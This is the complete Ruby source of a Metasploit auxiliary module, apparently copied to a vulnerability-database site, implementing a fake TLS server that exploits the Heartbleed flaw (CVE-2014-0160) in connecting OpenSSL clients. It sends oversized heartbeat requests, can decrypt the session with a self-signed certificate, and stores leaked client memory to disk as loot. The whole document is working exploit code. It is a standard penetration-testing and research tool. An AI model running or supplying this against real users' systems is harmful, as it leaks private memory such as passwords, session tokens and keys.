`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::TcpServer
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'OpenSSL Heartbeat (Heartbleed) Client Memory Exposure',
'Description' => %q{
This module provides a fake SSL service that is intended to
leak memory from client systems as they connect. This module is
hardcoded for using the AES-128-CBC-SHA1 cipher.
},
'Author' =>
[
'Neel Mehta', # Vulnerability discovery
'Riku', # Vulnerability discovery
'Antti', # Vulnerability discovery
'Matti', # Vulnerability discovery
'hdm' # Metasploit module
],
'License' => MSF_LICENSE,
'Actions' => [['Capture', 'Description' => 'Run server to disclose memory from incoming clients']],
'PassiveActions' => ['Capture'],
'DefaultAction' => 'Capture',
'References' =>
[
[ 'CVE', '2014-0160' ],
[ 'US-CERT-VU', '720951' ],
[ 'URL', 'https://www.cisa.gov/uscert/ncas/alerts/TA14-098A' ],
[ 'URL', 'http://heartbleed.com/' ]
],
'DisclosureDate' => 'Apr 07 2014',
'Notes' =>
{
'AKA' => ['Heartbleed']
}
)
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8443 ]),
OptInt.new('HEARTBEAT_LIMIT', [true, "The number of kilobytes of data to capture at most from each client", 512]),
OptInt.new('HEARTBEAT_READ', [true, "The number of bytes to leak in the heartbeat response", 65535]),
OptBool.new('NEGOTIATE_TLS', [true, "Set this to true to negotiate TLS and often leak more data at the cost of CA validation", false])
])
end
# Initialize the client state and RSA key for this session
def setup
super
@state = {}
@cert_key = OpenSSL::PKey::RSA.new(1024){ } if negotiate_tls?
end
# Setup the server module and start handling requests
def run
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
exploit
end
# Determine how much memory to leak with each request
def heartbeat_read_size
datastore['HEARTBEAT_READ'].to_i
end
# Determine how much heartbeat data to capture at the most
def heartbeat_limit
datastore['HEARTBEAT_LIMIT'].to_i * 1024
end
# Determine whether we should negotiate TLS or not
def negotiate_tls?
!! datastore['NEGOTIATE_TLS']
end
# Initialize a new state for every client
def on_client_connect(c)
@state[c] = {
:name => "#{c.peerhost}:#{c.peerport}",
:ip => c.peerhost,
:port => c.peerport,
:heartbeats => "",
:server_random => [Time.now.to_i].pack("N") + Rex::Text.rand_text(28)
}
print_status("#{@state[c][:name]} Connected")
end
# Buffer messages and parse them once they are fully received
def on_client_data(c)
data = c.get_once
return if not data
@state[c][:buff] ||= ""
@state[c][:buff] << data
process_request(c)
end
# Extract TLS messages from the buffer and process them
def process_request(c)
# Make this slightly harder to DoS
if @state[c][:buff].to_s.length > (1024*128)
print_status("#{@state[c][:name]} Buffer limit reached, dropping connection")
c.close
return
end
# Process any buffered messages
loop do
break unless @state[c][:buff]
message_type, message_ver, message_len = @state[c][:buff].unpack("Cnn")
break unless message_len
break unless @state[c][:buff].length >= message_len+5
mesg = @state[c][:buff].slice!(0, message_len+5)
if @state[c][:encrypted]
process_openssl_encrypted_request(c, mesg)
else
process_openssl_cleartext_request(c, mesg)
end
end
end
# Process cleartext TLS messages
def process_openssl_cleartext_request(c, data)
message_type, message_version, protocol_version = data.unpack("Cn@9n")
if message_type == 0x15 and data.length >= 7
message_level, message_reason = data[5,2].unpack("CC")
print_status("#{@state[c][:name]} Alert Level #{message_level} Reason #{message_reason}")
if message_level == 2 and message_reason == 0x30
print_status("#{@state[c][:name]} Client rejected our certificate due to unknown CA")
return
end
if level == 2
print_status("#{@state[c][:name]} Client rejected our connection with a fatal error: #{message_reason}")
return
end
end
unless message_type == 0x18
message_code = data[5,1].to_s.unpack("C").first
vprint_status("#{@state[c][:name]} Message #{sprintf("type %.2x v%.4x %.2x", message_type, message_version, message_code)}")
end
# Process the Client Hello
unless @state[c][:received_hello]
unless (message_type == 0x16 and data.length > 43 and message_code == 0x01)
print_status("#{@state[c][:name]} Expected a Client Hello, received #{sprintf("type %.2x code %.2x", message_type, message_code)}")
return
end
print_status("#{@state[c][:name]} Processing Client Hello...")
# Extract the client_random needed to compute the master key
@state[c][:client_random] = data[11,32]
@state[c][:received_hello] = true
print_status("#{@state[c][:name]} Sending Server Hello...")
openssl_send_server_hello(c, data, protocol_version)
return
end
# If we are negotiating TLS, handle Client Key Exchange/Change Cipher Spec
if negotiate_tls?
# Process the Client Key Exchange
if message_type == 0x16 and data.length > 11 and message_code == 0x10
print_status("#{@state[c][:name]} Processing Client Key Exchange...")
premaster_length = data[9, 2].unpack("n").first
# Extract the pre-master secret in encrypted form
if data.length >= 11 + premaster_length
premaster_encrypted = data[11, premaster_length]
# Decrypt the pre-master secret using our RSA key
premaster_clear = @cert_key.private_decrypt(premaster_encrypted) rescue nil
@state[c][:premaster] = premaster_clear if premaster_clear
end
end
# Process the Change Cipher Spec and switch to encrypted communications
if message_type == 0x14 and message_code == 0x01
print_status("#{@state[c][:name]} Processing Change Cipher Spec...")
initialize_encryption_keys(c)
return
end
# Otherwise just start capturing heartbeats in clear-text mode
else
# Send heartbeat requests
if @state[c][:heartbeats].length < heartbeat_limit
openssl_send_heartbeat(c, protocol_version)
end
# Process cleartext heartbeat replies
if message_type == 0x18
vprint_status("#{@state[c][:name]} Heartbeat received (#{data.length-5} bytes) [#{@state[c][:heartbeats].length} bytes total]")
@state[c][:heartbeats] << data[5, data.length-5]
end
# Full up on heartbeats, disconnect the client
if @state[c][:heartbeats].length >= heartbeat_limit
print_status("#{@state[c][:name]} Heartbeats received [#{@state[c][:heartbeats].length} bytes total]")
store_captured_heartbeats(c)
c.close()
end
end
end
# Process encrypted TLS messages
def process_openssl_encrypted_request(c, data)
message_type, message_version, protocol_version = data.unpack("Cn@9n")
return if @state[c][:shutdown]
return unless data.length > 5
buff = decrypt_data(c, data[5, data.length-5])
unless buff
print_error("#{@state[c][:name]} Failed to decrypt, giving up on this client")
c.close
return
end
message_code = buff[0,1].to_s.unpack("C").first
vprint_status("#{@state[c][:name]} Message #{sprintf("type %.2x v%.4x %.2x", message_type, message_version, message_code)}")
if message_type == 0x16
print_status("#{@state[c][:name]} Processing Client Finished...")
end
# Send heartbeat requests
if @state[c][:heartbeats].length < heartbeat_limit
openssl_send_heartbeat(c, protocol_version)
end
# Process heartbeat replies
if message_type == 0x18
vprint_status("#{@state[c][:name]} Encrypted heartbeat received (#{buff.length} bytes) [#{@state[c][:heartbeats].length} bytes total]")
@state[c][:heartbeats] << buff
end
# Full up on heartbeats, disconnect the client
if @state[c][:heartbeats].length >= heartbeat_limit
print_status("#{@state[c][:name]} Encrypted heartbeats received [#{@state[c][:heartbeats].length} bytes total]")
store_captured_heartbeats(c)
c.close()
end
end
# Dump captured memory to a file on disk using the loot API
def store_captured_heartbeats(c)
if @state[c][:heartbeats].length > 0
begin
path = store_loot(
"openssl.heartbleed.client",
"application/octet-stream",
@state[c][:ip],
@state[c][:heartbeats],
nil,
"OpenSSL Heartbleed client memory"
)
print_good("#{@state[c][:name]} Heartbeat data stored in #{path}")
rescue ::Interrupt
raise $!
rescue ::Exception
print_error("#{@state[c][:name]} Heartbeat data could not be stored: #{$!.class} #{$!}")
end
# Report the memory disclosure as a vulnerability on the host
report_vuln({
:host => @state[c][:ip],
:name => self.name,
:info => "Module #{self.fullname} successfully dumped client memory contents",
:refs => self.references,
:exploited_at => Time.now.utc
}) rescue nil # Squash errors related to ip => 127.0.0.1 and the like
end
# Clear the heartbeat array
@state[c][:heartbeats] = ""
@state[c][:shutdown] = true
end
# Delete the state on connection close
def on_client_close(c)
# Do we have any pending heartbeats to save?
if @state[c][:heartbeats].length > 0
store_captured_heartbeats(c)
end
@state.delete(c)
end
# Send an OpenSSL Server Hello response
def openssl_send_server_hello(c, hello, version)
# If encrypted, use the TLS_RSA_WITH_AES_128_CBC_SHA; otherwise, use the
# first cipher suite sent by the client.
if @state[c][:encrypted]
cipher = "\x00\x2F"
else
cipher = hello[46, 2]
end
# Create the Server Hello response
extensions =
"\x00\x0f\x00\x01\x01" # Heartbeat
server_hello_payload =
[version].pack('n') + # Use the protocol version sent by the client.
@state[c][:server_random] + # Random (Timestamp + Random Bytes)
"\x00" + # Session ID
cipher + # Cipher ID (TLS_RSA_WITH_AES_128_CBC_SHA)
"\x00" + # Compression Method (none)
[extensions.length].pack('n') + extensions
server_hello = [0x02].pack("C") + [ server_hello_payload.length ].pack("N")[1,3] + server_hello_payload
msg1 = "\x16" + [version].pack('n') + [server_hello.length].pack("n") + server_hello
c.put(msg1)
# Skip the rest of TLS if we arent negotiating it
unless negotiate_tls?
# Send a heartbeat request to start the stream and return
openssl_send_heartbeat(c, version)
return
end
# Certificates
certs_combined = generate_certificates
pay2 = "\x0b" + [ certs_combined.length + 3 ].pack("N")[1, 3] + [ certs_combined.length ].pack("N")[1, 3] + certs_combined
msg2 = "\x16" + [version].pack('n') + [pay2.length].pack("n") + pay2
c.put(msg2)
# End of Server Hello
pay3 = "\x0e\x00\x00\x00"
msg3 = "\x16" + [version].pack('n') + [pay3.length].pack("n") + pay3
c.put(msg3)
end
# Send the heartbeat request that results in memory exposure
def openssl_send_heartbeat(c, version)
c.put "\x18" + [version].pack('n') + "\x00\x03\x01" + [heartbeat_read_size].pack("n")
end
# Pack the certificates for use in the TLS reply
def generate_certificates
certs = []
certs << generate_certificate.to_der
certs_combined = certs.map { |cert| [ cert.length ].pack("N")[1, 3] + cert }.join
end
# Generate a self-signed certificate to use for the service
def generate_certificate
key = @cert_key
cert = OpenSSL::X509::Certificate.new
cert.version = 2
cert.serial = rand(0xFFFFFFFF)
subject_cn = Rex::Text.rand_hostname
subject = OpenSSL::X509::Name.new([
["C","US"],
['ST', Rex::Text.rand_state()],
["L", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],
["O", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],
["CN", subject_cn],
])
issuer = OpenSSL::X509::Name.new([
["C","US"],
['ST', Rex::Text.rand_state()],
["L", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],
["O", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],
["CN", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],
])
cert.subject = subject
cert.issuer = issuer
cert.not_before = Time.now - (3600 * 24 * 365) + rand(3600 * 14)
cert.not_after = Time.now + (3600 * 24 * 365) + rand(3600 * 14)
cert.public_key = key.public_key
ef = OpenSSL::X509::ExtensionFactory.new(nil,cert)
cert.extensions = [
ef.create_extension("basicConstraints","CA:FALSE"),
ef.create_extension("subjectKeyIdentifier","hash"),
ef.create_extension("extendedKeyUsage","serverAuth"),
ef.create_extension("keyUsage","keyEncipherment,dataEncipherment,digitalSignature")
]
ef.issuer_certificate = cert
cert.add_extension ef.create_extension("authorityKeyIdentifier", "keyid:always,issuer:always")
cert.sign(key, OpenSSL::Digest.new('SHA1'))
cert
end
# Decrypt the TLS message and return the result without the MAC
def decrypt_data(c, data)
return unless @state[c][:client_enc]
cipher = @state[c][:client_enc]
begin
buff = cipher.update(data)
buff << cipher.final
# Trim the trailing MAC signature off the buffer
if buff.length >= 20
return buff[0, buff.length-20]
end
rescue ::OpenSSL::Cipher::CipherError => e
print_error("#{@state[c][:name]} Decryption failed: #{e}")
end
nil
end
# Calculate keys and toggle encrypted status
def initialize_encryption_keys(c)
tls1_calculate_crypto_keys(c)
@state[c][:encrypted] = true
end
# Determine crypto keys for AES-128-CBC based on the master secret
def tls1_calculate_crypto_keys(c)
@state[c][:master] = tls1_calculate_master_key(c)
return unless @state[c][:master]
key_block = tls1_prf(
@state[c][:master],
"key expansion" + @state[c][:server_random] + @state[c][:client_random],
(20 * 2) + (16 * 4)
)
# Extract the MAC, encryption, and IV from the keyblock
@state[c].update({
:client_write_mac_key => key_block.slice!(0, 20),
:server_write_mac_key => key_block.slice!(0, 20),
:client_write_key => key_block.slice!(0, 16),
:server_write_key => key_block.slice!(0, 16),
:client_iv => key_block.slice!(0, 16),
:server_iv => key_block.slice!(0, 16),
})
client_cipher = OpenSSL::Cipher.new('aes-128-cbc')
client_cipher.decrypt
client_cipher.key = @state[c][:client_write_key]
client_cipher.iv = @state[c][:client_iv]
client_mac = OpenSSL::HMAC.new(@state[c][:client_write_mac_key], OpenSSL::Digest.new('sha1'))
server_cipher = OpenSSL::Cipher.new('aes-128-cbc')
server_cipher.encrypt
server_cipher.key = @state[c][:server_write_key]
server_cipher.iv = @state[c][:server_iv]
server_mac = OpenSSL::HMAC.new(@state[c][:server_write_mac_key], OpenSSL::Digest.new('sha1'))
@state[c].update({
:client_enc => client_cipher,
:client_mac => client_mac,
:server_enc => server_cipher,
:server_mac => server_mac
})
true
end
# Determine the master key from the premaster and client/server randoms
def tls1_calculate_master_key(c)
return unless (
@state[c][:premaster] and
@state[c][:client_random] and
@state[c][:server_random]
)
tls1_prf(
@state[c][:premaster],
"master secret" + @state[c][:client_random] + @state[c][:server_random],
48
)
end
# Random generator used to calculate key data for TLS 1.0/1.1
def tls1_prf(input_secret, input_label, output_length)
# Calculate S1 and S2 as even blocks of each half of the secret
# string. If the blocks are uneven, then S1's last byte should
# be duplicated by S2's first byte
blen = (input_secret.length / 2.0).ceil
s1 = input_secret[0, blen]
s2_index = blen
if input_secret.length % 2 != 0
s2_index -= 1
end
s2 = input_secret[s2_index, blen]
# Hash the first part with MD5
out1 = tls1_p_hash('md5', s1, input_label, output_length).unpack("C*")
# Hash the second part with SHA1
out2 = tls1_p_hash('sha1', s2, input_label, output_length).unpack("C*")
# XOR the results together
[*(0..out1.length-1)].map {|i| out1[i] ^ out2[i] }.pack("C*")
end
# Used by tls1_prf to generate arbitrary amounts of session key data
def tls1_p_hash(digest, secret, label, olen)
output = ""
chunk = OpenSSL::Digest.new(digest).digest_length
ctx = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest))
ctx_tmp = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest))
ctx.update(label)
a1 = ctx.digest
loop do
ctx = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest))
ctx_tmp = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest))
ctx.update(a1)
ctx_tmp.update(a1)
ctx.update(label)
if olen > chunk
output << ctx.digest
a1 = ctx_tmp.digest
olen -= chunk
else
a1 = ctx.digest
output << a1[0, olen]
break
end
end
output
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation